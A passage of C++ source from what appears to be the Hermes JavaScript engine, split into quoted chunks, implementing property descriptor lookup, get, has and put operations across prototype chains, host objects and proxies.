win.\nLLVM_ATTRIBUTE_ALWAYS_INLINE\nCallResult<bool> getOwnComputedPrimitiveDescriptorImpl(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n JSObject::IgnoreProxy ignoreProxy,\n SymbolID &id,\n ComputedPropertyDescriptor &desc) {\n assert(\n !nameValHandle->isObject() &&\n \"nameValHandle passed to \"\n \"getOwnComputedPrimitiveDescriptor \"\n \"cannot be an object\");", " // Try the fast paths first if we have \"fast\" index properties and the\n // property name is an obvious index.\n if (auto arrayIndex = toArrayIndexFastPath(*nameValHandle)) {\n if (JSObject::Helper::flags(*selfHandle).fastIndexProperties) {\n auto res = JSObject::Helper::getOwnIndexedPropertyFlags(\n selfHandle.get(), runtime, *arrayIndex);\n if (res) {\n // This a valid array index, residing in our indexed storage.\n desc.flags = *res;\n desc.flags.indexed = 1;\n desc.slot = *arrayIndex;\n return true;\n }", " // This a valid array index, but we don't have it in our indexed storage,\n // and we don't have index-like named properties.\n return false;\n }", " if (!selfHandle->getClass(runtime)->getHasIndexLikeProperties() &&\n !selfHandle->isHostObject() && !selfHandle->isLazy() &&\n !selfHandle->isProxyObject()) {\n // Early return to handle the case where an object definitely has no\n // index-like properties. This avoids allocating a new StringPrimitive and\n // uniquing it below.\n return false;\n }\n }", " // Convert the string to a SymbolID\n LAZY_TO_IDENTIFIER(runtime, nameValHandle, id);", " // Look for a named property with this name.\n if (JSObject::getOwnNamedDescriptor(\n selfHandle,\n runtime,\n id,\n JSObject::Helper::castToNamedPropertyDescriptorRef(desc))) {\n return true;\n }", " if (LLVM_LIKELY(\n !JSObject::Helper::flags(*selfHandle).indexedStorage &&\n !selfHandle->isLazy() && !selfHandle->isProxyObject())) {\n return false;\n }\n MutableHandle<StringPrimitive> strPrim{runtime};", " // If we have indexed storage, perform potentially expensive conversions\n // to array index and check it.\n if (JSObject::Helper::flags(*selfHandle).indexedStorage) {\n // If the name is a valid integer array index, store it here.\n OptValue<uint32_t> arrayIndex;", " // Try to convert the property name to an array index.\n TO_ARRAY_INDEX(runtime, nameValHandle, strPrim, arrayIndex);", " if (arrayIndex) {\n auto res = JSObject::Helper::getOwnIndexedPropertyFlags(\n selfHandle.get(), runtime, *arrayIndex);\n if (res) {\n desc.flags = *res;\n desc.flags.indexed = 1;\n desc.slot = *arrayIndex;\n return true;\n }\n }\n return false;\n }", " if (selfHandle->isLazy()) {\n JSObject::initializeLazyObject(runtime, selfHandle);\n return JSObject::getOwnComputedPrimitiveDescriptor(\n selfHandle, runtime, nameValHandle, ignoreProxy, desc);\n }", " assert(selfHandle->isProxyObject() && \"descriptor flags are impossible\");\n if (ignoreProxy == JSObject::IgnoreProxy::Yes) {\n return false;\n }\n return JSProxy::getOwnProperty(\n selfHandle, runtime, nameValHandle, desc, nullptr);\n}", "} // namespace", "CallResult<bool> JSObject::getOwnComputedPrimitiveDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n JSObject::IgnoreProxy ignoreProxy,\n ComputedPropertyDescriptor &desc) {\n SymbolID id{};", " return getOwnComputedPrimitiveDescriptorImpl(\n selfHandle, runtime, nameValHandle, ignoreProxy, id, desc);\n}", "CallResult<bool> JSObject::getOwnComputedDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n ComputedPropertyDescriptor &desc) {\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return JSObject::getOwnComputedPrimitiveDescriptor(\n selfHandle, runtime, *converted, IgnoreProxy::No, desc);\n}", "CallResult<bool> JSObject::getOwnComputedDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n ComputedPropertyDescriptor &desc,\n MutableHandle<> &valueOrAccessor) {\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n // The proxy is ignored here so we can avoid calling\n // JSProxy::getOwnProperty twice on proxies, since\n // getOwnComputedPrimitiveDescriptor doesn't pass back the\n // valueOrAccessor.\n CallResult<bool> res = JSObject::getOwnComputedPrimitiveDescriptor(\n selfHandle, runtime, *converted, IgnoreProxy::Yes, desc);\n if (LLVM_UNLIKELY(res == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (*res) {\n valueOrAccessor = getComputedSlotValue(selfHandle.get(), runtime, desc);\n return true;\n }\n if (LLVM_UNLIKELY(selfHandle->isProxyObject())) {\n return JSProxy::getOwnProperty(\n selfHandle, runtime, nameValHandle, desc, &valueOrAccessor);\n }\n return false;\n}", "JSObject *JSObject::getNamedDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n PropertyFlags expectedFlags,\n NamedPropertyDescriptor &desc) {\n if (findProperty(selfHandle, runtime, name, expectedFlags, desc))\n return *selfHandle;", " // Check here for host object flag. This means that \"normal\" own\n // properties above win over host-defined properties, but there's no\n // cost imposed on own property lookups. This should do what we\n // need in practice, and we can define host vs js property\n // disambiguation however we want. This is here in order to avoid\n // impacting perf for the common case where an own property exists\n // in normal storage.\n if (LLVM_UNLIKELY(selfHandle->flags_.hostObject)) {\n desc.flags.hostObject = true;\n desc.flags.writable = true;\n return *selfHandle;\n }", " if (LLVM_UNLIKELY(selfHandle->flags_.lazyObject)) {\n assert(\n !selfHandle->flags_.proxyObject &&\n \"Proxy objects should never be lazy\");\n // Initialize the object and perform the lookup again.\n JSObject::initializeLazyObject(runtime, selfHandle);", " if (findProperty(selfHandle, runtime, name, expectedFlags, desc))\n return *selfHandle;\n }", " if (LLVM_UNLIKELY(selfHandle->flags_.proxyObject)) {\n desc.flags.proxyObject = true;\n return *selfHandle;\n }", " if (selfHandle->parent_) {\n MutableHandle<JSObject> mutableSelfHandle{\n runtime, selfHandle->parent_.getNonNull(runtime)};", " do {\n // Check the most common case first, at the cost of some code duplication.\n if (LLVM_LIKELY(\n !mutableSelfHandle->flags_.lazyObject &&\n !mutableSelfHandle->flags_.hostObject &&\n !mutableSelfHandle->flags_.proxyObject)) {\n findProp:\n if (findProperty(\n mutableSelfHandle,\n runtime,\n name,\n PropertyFlags::invalid(),\n desc)) {\n assert(\n !selfHandle->flags_.proxyObject &&\n \"Proxy object parents should never have own properties\");\n return *mutableSelfHandle;\n }\n } else if (LLVM_UNLIKELY(mutableSelfHandle->flags_.lazyObject)) {\n JSObject::initializeLazyObject(runtime, mutableSelfHandle);\n goto findProp;\n } else if (LLVM_UNLIKELY(mutableSelfHandle->flags_.hostObject)) {\n desc.flags.hostObject = true;\n desc.flags.writable = true;\n return *mutableSelfHandle;\n } else {\n assert(\n mutableSelfHandle->flags_.proxyObject &&\n \"descriptor flags are impossible\");\n desc.flags.proxyObject = true;\n return *mutableSelfHandle;\n }\n } while ((mutableSelfHandle = mutableSelfHandle->parent_.get(runtime)));\n }", " return nullptr;\n}", "ExecutionStatus JSObject::getComputedPrimitiveDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n MutableHandle<JSObject> &propObj,\n ComputedPropertyDescriptor &desc) {\n assert(\n !nameValHandle->isObject() &&\n \"nameValHandle passed to \"\n \"getComputedPrimitiveDescriptor cannot \"\n \"be an object\");", " propObj = selfHandle.get();", " SymbolID id{};", " GCScopeMarkerRAII marker{runtime};\n do {\n // A proxy is ignored here so we can check the bit later and\n // return it back to the caller for additional processing.", " Handle<JSObject> loopHandle = propObj;", " CallResult<bool> res = getOwnComputedPrimitiveDescriptorImpl(\n loopHandle, runtime, nameValHandle, IgnoreProxy::Yes, id, desc);\n if (LLVM_UNLIKELY(res == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (*res) {\n return ExecutionStatus::RETURNED;\n }", " if (LLVM_UNLIKELY(propObj->flags_.hostObject)) {\n desc.flags.hostObject = true;\n desc.flags.writable = true;\n return ExecutionStatus::RETURNED;\n }\n if (LLVM_UNLIKELY(propObj->flags_.proxyObject)) {\n desc.flags.proxyObject = true;\n return ExecutionStatus::RETURNED;\n }\n // This isn't a proxy, so use the faster getParent() instead of\n // getPrototypeOf.\n propObj = propObj->getParent(runtime);\n // Flush at the end of the loop to allow first iteration to be as fast as\n // possible.\n marker.flush();\n } while (propObj);\n return ExecutionStatus::RETURNED;\n}", "ExecutionStatus JSObject::getComputedDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n MutableHandle<JSObject> &propObj,\n ComputedPropertyDescriptor &desc) {\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return getComputedPrimitiveDescriptor(\n selfHandle, runtime, *converted, propObj, desc);\n}", "CallResult<PseudoHandle<>> JSObject::getNamedWithReceiver_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n Handle<> receiver,\n PropOpFlags opFlags,\n PropertyCacheEntry *cacheEntry) {\n NamedPropertyDescriptor desc;\n // Locate the descriptor. propObj contains the object which may be anywhere\n // along the prototype chain.\n JSObject *propObj = getNamedDescriptor(selfHandle, runtime, name, desc);\n if (!propObj) {\n if (LLVM_UNLIKELY(opFlags.getMustExist())) {\n return runtime->raiseReferenceError(\n TwineChar16(\"Property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"' doesn't exist\");\n }\n return createPseudoHandle(HermesValue::encodeUndefinedValue());\n }", " if (LLVM_LIKELY(\n !desc.flags.accessor && !desc.flags.hostObject &&\n !desc.flags.proxyObject)) {\n // Populate the cache if requested.\n if (cacheEntry && !propObj->getClass(runtime)->isDictionaryNoCache()) {\n cacheEntry->clazz = propObj->getClassGCPtr().getStorageType();\n cacheEntry->slot = desc.slot;\n }\n return createPseudoHandle(getNamedSlotValue(propObj, runtime, desc));\n }", " if (desc.flags.accessor) {\n auto *accessor =\n vmcast<PropertyAccessor>(getNamedSlotValue(propObj, runtime, desc));\n if (!accessor->getter)\n return createPseudoHandle(HermesValue::encodeUndefinedValue());", " // Execute the accessor on this object.\n return Callable::executeCall0(\n runtime->makeHandle(accessor->getter), runtime, receiver);\n } else if (desc.flags.hostObject) {\n auto res = vmcast<HostObject>(propObj)->get(name);\n if (LLVM_UNLIKELY(res == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return createPseudoHandle(*res);\n } else {\n assert(desc.flags.proxyObject && \"descriptor flags are impossible\");\n return JSProxy::getNamed(\n runtime->makeHandle(propObj), runtime, name, receiver);\n }\n}", "CallResult<PseudoHandle<>> JSObject::getNamedOrIndexed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n PropOpFlags opFlags) {\n if (LLVM_UNLIKELY(selfHandle->flags_.indexedStorage)) {\n // Note that getStringView can be satisfied without materializing the\n // Identifier.\n const auto strView =\n runtime->getIdentifierTable().getStringView(runtime, name);\n if (auto nameAsIndex = toArrayIndex(strView)) {\n return getComputed_RJS(\n selfHandle,\n runtime,\n runtime->makeHandle(HermesValue::encodeNumberValue(*nameAsIndex)));\n }\n // Here we have indexed properties but the symbol was not index-like.\n // Fall through to getNamed().\n }\n return getNamed_RJS(selfHandle, runtime, name, opFlags);\n}", "CallResult<PseudoHandle<>> JSObject::getComputedWithReceiver_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n Handle<> receiver) {\n // Try the fast-path first: no \"index-like\" properties and the \"name\" already\n // is a valid integer index.\n if (selfHandle->flags_.fastIndexProperties) {\n if (auto arrayIndex = toArrayIndexFastPath(*nameValHandle)) {\n // Do we have this value present in our array storage? If so, return it.\n PseudoHandle<> ourValue = createPseudoHandle(\n getOwnIndexed(selfHandle.get(), runtime, *arrayIndex));\n if (LLVM_LIKELY(!ourValue->isEmpty()))\n return ourValue;\n }\n }", " // If nameValHandle is an object, we should convert it to string now,\n // because toString may have side-effect, and we want to do this only\n // once.\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n auto nameValPrimitiveHandle = *converted;", " ComputedPropertyDescriptor desc;", " // Locate the descriptor. propObj contains the object which may be anywhere\n // along the prototype chain.\n MutableHandle<JSObject> propObj{runtime};\n if (LLVM_UNLIKELY(\n getComputedPrimitiveDescriptor(\n selfHandle, runtime, nameValPrimitiveHandle, propObj, desc) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }", " if (!propObj)\n return createPseudoHandle(HermesValue::encodeUndefinedValue());", " if (LLVM_LIKELY(\n !desc.flags.accessor && !desc.flags.hostObject &&\n !desc.flags.proxyObject))\n return createPseudoHandle(\n getComputedSlotValue(propObj.get(), runtime, desc));", " if (desc.flags.accessor) {\n auto *accessor = vmcast<PropertyAccessor>(\n getComputedSlotValue(propObj.get(), runtime, desc));\n if (!accessor->getter)\n return createPseudoHandle(HermesValue::encodeUndefinedValue());", " // Execute the accessor on this object.\n return accessor->getter.get(runtime)->executeCall0(\n runtime->makeHandle(accessor->getter), runtime, receiver);\n } else if (desc.flags.hostObject) {\n SymbolID id{};\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);", " auto propRes = vmcast<HostObject>(propObj.get())->get(id);", " if (propRes == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n return createPseudoHandle(*propRes);\n } else {\n assert(desc.flags.proxyObject && \"descriptor flags are impossible\");\n CallResult<Handle<>> key = toPropertyKey(runtime, nameValPrimitiveHandle);\n if (key == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n return JSProxy::getComputed(propObj, runtime, *key, receiver);\n }\n}", "CallResult<bool> JSObject::hasNamed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name) {\n NamedPropertyDescriptor desc;\n JSObject *propObj = getNamedDescriptor(selfHandle, runtime, name, desc);\n if (propObj == nullptr) {\n return false;\n }\n if (LLVM_UNLIKELY(desc.flags.proxyObject)) {\n return JSProxy::hasNamed(runtime->makeHandle(propObj), runtime, name);\n }\n return true;\n}", "CallResult<bool> JSObject::hasNamedOrIndexed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name) {\n if (LLVM_UNLIKELY(selfHandle->flags_.indexedStorage)) {\n const auto strView =\n runtime->getIdentifierTable().getStringView(runtime, name);\n if (auto nameAsIndex = toArrayIndex(strView)) {\n if (haveOwnIndexed(selfHandle.get(), runtime, *nameAsIndex)) {\n return true;\n }\n if (selfHandle->flags_.fastIndexProperties) {\n return false;\n }\n }\n // Here we have indexed properties but the symbol was not stored in the\n // indexedStorage.\n // Fall through to getNamed().\n }\n return hasNamed(selfHandle, runtime, name);\n}", "CallResult<bool> JSObject::hasComputed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle) {\n // Try the fast-path first: no \"index-like\" properties and the \"name\" already\n // is a valid integer index.\n if (selfHandle->flags_.fastIndexProperties) {\n if (auto arrayIndex = toArrayIndexFastPath(*nameValHandle)) {\n // Do we have this value present in our array storage? If so, return true.\n if (haveOwnIndexed(selfHandle.get(), runtime, *arrayIndex)) {\n return true;\n }\n }\n }", " // If nameValHandle is an object, we should convert it to string now,\n // because toString may have side-effect, and we want to do this only\n // once.\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n auto nameValPrimitiveHandle = *converted;", " ComputedPropertyDescriptor desc;\n MutableHandle<JSObject> propObj{runtime};\n if (getComputedPrimitiveDescriptor(\n selfHandle, runtime, nameValPrimitiveHandle, propObj, desc) ==\n ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n if (!propObj) {\n return false;\n }\n if (LLVM_UNLIKELY(desc.flags.proxyObject)) {\n CallResult<Handle<>> key = toPropertyKey(runtime, nameValPrimitiveHandle);\n if (key == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n return JSProxy::hasComputed(propObj, runtime, *key);\n }\n // For compatibility with polyfills we want to pretend that all HostObject\n // properties are \"own\" properties in 'in'. Since there is no way to check for\n // a HostObject property, we must always assume success. In practice the\n // property name would have been obtained from enumerating the properties in\n // JS code that looks something like this:\n // for(key in hostObj) {\n // if (key in hostObj)\n // ...\n // }\n return true;\n}", "static ExecutionStatus raiseErrorForOverridingStaticBuiltin(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<SymbolID> name) {\n Handle<StringPrimitive> methodNameHnd =\n runtime->makeHandle(runtime->getStringPrimFromSymbolID(name.get()));\n // If the 'name' property does not exist or is an accessor, we don't display\n // the name.\n NamedPropertyDescriptor desc;\n auto *obj = JSObject::getNamedDescriptor(\n selfHandle, runtime, Predefined::getSymbolID(Predefined::name), desc);\n assert(\n !selfHandle->isProxyObject() &&\n \"raiseErrorForOverridingStaticBuiltin cannot be used with proxy objects\");", " if (!obj || desc.flags.accessor) {\n return runtime->raiseTypeError(\n TwineChar16(\"Attempting to override read-only builtin method '\") +\n TwineChar16(methodNameHnd.get()) + \"'\");\n }", " // Display the name property of the builtin object if it is a string.\n StringPrimitive *objName = dyn_vmcast<StringPrimitive>(\n JSObject::getNamedSlotValue(selfHandle.get(), runtime, desc));\n if (!objName) {\n return runtime->raiseTypeError(\n TwineChar16(\"Attempting to override read-only builtin method '\") +\n TwineChar16(methodNameHnd.get()) + \"'\");\n }", " return runtime->raiseTypeError(\n TwineChar16(\"Attempting to override read-only builtin method '\") +\n TwineChar16(objName) + \".\" + TwineChar16(methodNameHnd.get()) + \"'\");\n}", "CallResult<bool> JSObject::putNamedWithReceiver_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n Handle<> valueHandle,\n Handle<> receiver,\n PropOpFlags opFlags) {\n NamedPropertyDescriptor desc;", " // Look for the property in this object or along the prototype chain.\n JSObject *propObj = getNamedDescriptor(\n selfHandle,\n runtime,\n name,\n PropertyFlags::defaultNewNamedPropertyFlags(),\n desc);", " // If the property exists (or, we hit a proxy/hostobject on the way\n // up the chain)\n if (propObj) {\n // Get the simple case out of the way: If the property already\n // exists on selfHandle, is not an accessor, selfHandle and\n // receiver are the same, selfHandle is not a host\n // object/proxy/internal setter, and the property is writable,\n // just write into the same slot.", " if (LLVM_LIKELY(\n *selfHandle == propObj &&\n selfHandle.getHermesValue().getRaw() == receiver->getRaw() &&\n !desc.flags.accessor && !desc.flags.internalSetter &&\n !desc.flags.hostObject && !desc.flags.proxyObject &&\n desc.flags.writable)) {\n setNamedSlotValue(\n *selfHandle, runtime, desc, valueHandle.getHermesValue());\n return true;\n }", " if (LLVM_UNLIKELY(desc.flags.accessor)) {\n auto *accessor =\n vmcast<PropertyAccessor>(getNamedSlotValue(propObj, runtime, desc));", " // If it is a read-only accessor, fail.\n if (!accessor->setter) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n TwineChar16(\"Cannot assign to property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"' which has only a getter\");\n }\n return false;\n }", " // Execute the accessor on this object.\n if (accessor->setter.get(runtime)->executeCall1(\n runtime->makeHandle(accessor->setter),\n runtime,\n receiver,\n *valueHandle) == ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n return true;\n }", " if (LLVM_UNLIKELY(desc.flags.proxyObject)) {\n assert(\n !opFlags.getMustExist() &&\n \"MustExist cannot be used with Proxy objects\");\n CallResult<bool> setRes = JSProxy::setNamed(\n runtime->makeHandle(propObj), runtime, name, valueHandle, receiver);\n if (LLVM_UNLIKELY(setRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (!*setRes && opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n TwineChar16(\"Proxy set returned false for property '\") +\n runtime->getIdentifierTable().getStringView(runtime, name) + \"'\");\n }\n return setRes;\n }", " if (LLVM_UNLIKELY(!desc.flags.writable)) {\n if (desc.flags.staticBuiltin) {\n return raiseErrorForOverridingStaticBuiltin(\n selfHandle, runtime, runtime->makeHandle(name));\n }\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n TwineChar16(\"Cannot assign to read-only property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"'\");\n }\n return false;\n }", " if (*selfHandle == propObj && desc.flags.internalSetter) {\n return internalSetter(\n selfHandle, runtime, name, desc, valueHandle, opFlags);\n }\n }", " // The property does not exist as an conventional own property on\n // this object.", " MutableHandle<JSObject> receiverHandle{runtime, *selfHandle};\n if (selfHandle.getHermesValue().getRaw() != receiver->getRaw() ||\n receiverHandle->isHostObject() || receiverHandle->isProxyObject()) {\n if (selfHandle.getHermesValue().getRaw() != receiver->getRaw()) {\n receiverHandle = dyn_vmcast<JSObject>(*receiver);\n }\n if (!receiverHandle) {\n return false;\n }", " if (getOwnNamedDescriptor(receiverHandle, runtime, name, desc)) {\n if (LLVM_UNLIKELY(desc.flags.accessor || !desc.flags.writable)) {\n return false;\n }", " assert(\n !receiverHandle->isHostObject() && !receiverHandle->isProxyObject() &&\n \"getOwnNamedDescriptor never sets hostObject or proxyObject flags\");", " setNamedSlotValue(\n *receiverHandle, runtime, desc, valueHandle.getHermesValue());\n return true;\n }", " // Now deal with host and proxy object cases. We need to call\n // getOwnComputedPrimitiveDescriptor because it knows how to call\n // the [[getOwnProperty]] Proxy impl if needed.\n if (LLVM_UNLIKELY(\n receiverHandle->isHostObject() ||\n receiverHandle->isProxyObject())) {\n if (receiverHandle->isHostObject()) {\n return vmcast<HostObject>(receiverHandle.get())\n ->set(name, *valueHandle);\n }\n ComputedPropertyDescriptor desc;\n CallResult<bool> descDefinedRes = getOwnComputedPrimitiveDescriptor(\n receiverHandle,\n runtime,\n name.isUniqued() ? runtime->makeHandle(HermesValue::encodeStringValue(\n runtime->getStringPrimFromSymbolID(name)))\n : runtime->makeHandle(name),\n IgnoreProxy::No,\n desc);\n if (LLVM_UNLIKELY(descDefinedRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n DefinePropertyFlags dpf;\n if (*descDefinedRes) {\n dpf.setValue = 1;\n } else {\n dpf = DefinePropertyFlags::getDefaultNewPropertyFlags();\n }\n return JSProxy::defineOwnProperty(\n receiverHandle, runtime, name, dpf, valueHandle, opFlags);\n }\n }", " // Does the caller require it to exist?\n if (LLVM_UNLIKELY(opFlags.getMustExist())) {\n return runtime->raiseReferenceError(\n TwineChar16(\"Property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"' doesn't exist\");\n }", " // Add a new property.", " return addOwnProperty(\n receiverHandle,\n runtime,\n name,\n DefinePropertyFlags::getDefaultNewPropertyFlags(),\n valueHandle,\n opFlags);\n}", "CallResult<bool> JSObject::putNamedOrIndexed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n Handle<> valueHandle,\n PropOpFlags opFlags) {\n if (LLVM_UNLIKELY(selfHandle->flags_.indexedStorage)) {\n // Note that getStringView can be satisfied without materializing the\n // Identifier.\n const auto strView =\n runtime->getIdentifierTable().getStringView(runtime, name);\n if (auto nameAsIndex = toArrayIndex(strView)) {\n return putComputed_RJS(\n selfHandle,\n runtime,\n runtime->makeHandle(HermesValue::encodeNumberValue(*nameAsIndex)),\n valueHandle,\n opFlags);\n }\n // Here we have indexed properties but the symbol was not index-like.\n // Fall through to putNamed().\n }\n return putNamed_RJS(selfHandle, runtime, name, valueHandle, opFlags);\n}", "CallResult<bool> JSObject::putComputedWithReceiver_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n Handle<> valueHandle,\n Handle<> receiver,\n PropOpFlags opFlags) {\n assert(\n !opFlags.getMustExist() &&\n \"mustExist flag cannot be used with computed properties\");", " // Try the fast-path first: has \"index-like\" properties, the \"name\"\n // already is a valid integer index, selfHandle and receiver are the\n // same, and it is present in storage.\n if (selfHandle->flags_.fastIndexProperties) {\n if (auto arrayIndex = toArrayIndexFastPath(*nameValHandle)) {\n if (selfHandle.getHermesValue().getRaw() == receiver->getRaw()) {\n if (haveOwnIndexed(selfHandle.get(), runtime, *arrayIndex)) {\n auto result =\n setOwnIndexed(selfHandle, runtime, *arrayIndex, valueHandle);\n if (LLVM_UNLIKELY(result == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n if (LLVM_LIKELY(*result))\n return true;\n if (opFlags.getThrowOnError()) {\n // TODO: better message.\n return runtime->raiseTypeError(\n \"Cannot assign to read-only property\");\n }\n return false;\n }\n }\n }\n }", " // If nameValHandle is an object, we should convert it to string now,\n // because toString may have side-effect, and we want to do this only\n // once.\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n auto nameValPrimitiveHandle = *converted;", " ComputedPropertyDescriptor desc;", " // Look for the property in this object or along the prototype chain.\n MutableHandle<JSObject> propObj{runtime};\n if (LLVM_UNLIKELY(\n getComputedPrimitiveDescriptor(\n selfHandle, runtime, nameValPrimitiveHandle, propObj, desc) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }", " // If the property exists (or, we hit a proxy/hostobject on the way\n // up the chain)\n if (propObj) {\n // Get the simple case out of the way: If the property already\n // exists on selfHandle, is not an accessor, selfHandle and\n // receiver are the same, selfHandle is not a host\n // object/proxy/internal setter, and the property is writable,\n // just write into the same slot.", " if (LLVM_LIKELY(\n selfHandle == propObj &&\n selfHandle.getHermesValue().getRaw() == receiver->getRaw() &&\n !desc.flags.accessor && !desc.flags.internalSetter &&\n !desc.flags.hostObject && !desc.flags.proxyObject &&\n desc.flags.writable)) {\n if (LLVM_UNLIKELY(\n setComputedSlotValue(selfHandle, runtime, desc, valueHandle) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return true;\n }", " // Is it an accessor?\n if (LLVM_UNLIKELY(desc.flags.accessor)) {\n auto *accessor = vmcast<PropertyAccessor>(\n getComputedSlotValue(propObj.get(), runtime, desc));", " // If it is a read-only accessor, fail.\n if (!accessor->setter) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeErrorForValue(\n \"Cannot assign to property \",\n nameValPrimitiveHandle,\n \" which has only a getter\");\n }\n return false;\n }", " // Execute the accessor on this object.\n if (accessor->setter.get(runtime)->executeCall1(\n runtime->makeHandle(accessor->setter),\n runtime,\n receiver,\n valueHandle.get()) == ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n return true;\n }", " if (LLVM_UNLIKELY(desc.flags.proxyObject)) {\n assert(\n !opFlags.getMustExist() &&\n \"MustExist cannot be used with Proxy objects\");\n CallResult<Handle<>> key = toPropertyKey(runtime, nameValPrimitiveHandle);\n if (key == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n CallResult<bool> setRes =\n JSProxy::setComputed(propObj, runtime, *key, valueHandle, receiver);\n if (LLVM_UNLIKELY(setRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (!*setRes && opFlags.getThrowOnError()) {\n // TODO: better message.\n return runtime->raiseTypeError(\n TwineChar16(\"Proxy trap returned false for property\"));\n }\n return setRes;\n }", " if (LLVM_UNLIKELY(!desc.flags.writable)) {\n if (desc.flags.staticBuiltin) {\n SymbolID id{};\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);\n return raiseErrorForOverridingStaticBuiltin(\n selfHandle, runtime, runtime->makeHandle(id));\n }\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeErrorForValue(\n \"Cannot assign to read-only property \", nameValPrimitiveHandle, \"\");\n }\n return false;\n }", " if (selfHandle == propObj && desc.flags.internalSetter) {\n SymbolID id{};\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);\n return internalSetter(\n selfHandle,\n runtime,\n id,\n desc.castToNamedPropertyDescriptorRef(),\n valueHandle,\n opFlags);\n }\n }", " // The property does not exist as an conventional own property on\n // this object.", " MutableHandle<JSObject> receiverHandle{runtime, *selfHandle};\n if (selfHandle.getHermesValue().getRaw() != receiver->getRaw() ||\n receiverHandle->isHostObject() || receiverHandle->isProxyObject()) {\n if (selfHandle.getHermesValue().getRaw() != receiver->getRaw()) {\n receiverHandle = dyn_vmcast<JSObject>(*receiver);\n }\n if (!receiverHandle) {\n return false;\n }\n CallResult<bool> descDefinedRes = getOwnComputedPrimitiveDescriptor(\n receiverHandle, runtime, nameValPrimitiveHandle, IgnoreProxy::No, desc);\n if (LLVM_UNLIKELY(descDefinedRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n DefinePropertyFlags dpf;\n if (*descDefinedRes) {\n if (LLVM_UNLIKELY(desc.flags.accessor || !desc.flags.writable)) {\n return false;\n }", " if (LLVM_LIKELY(\n !desc.flags.internalSetter && !receiverHandle->isHostObject() &&\n !receiverHandle->isProxyObject())) {\n if (LLVM_UNLIKELY(\n setComputedSlotValue(\n receiverHandle, runtime, desc, valueHandle) ==\n 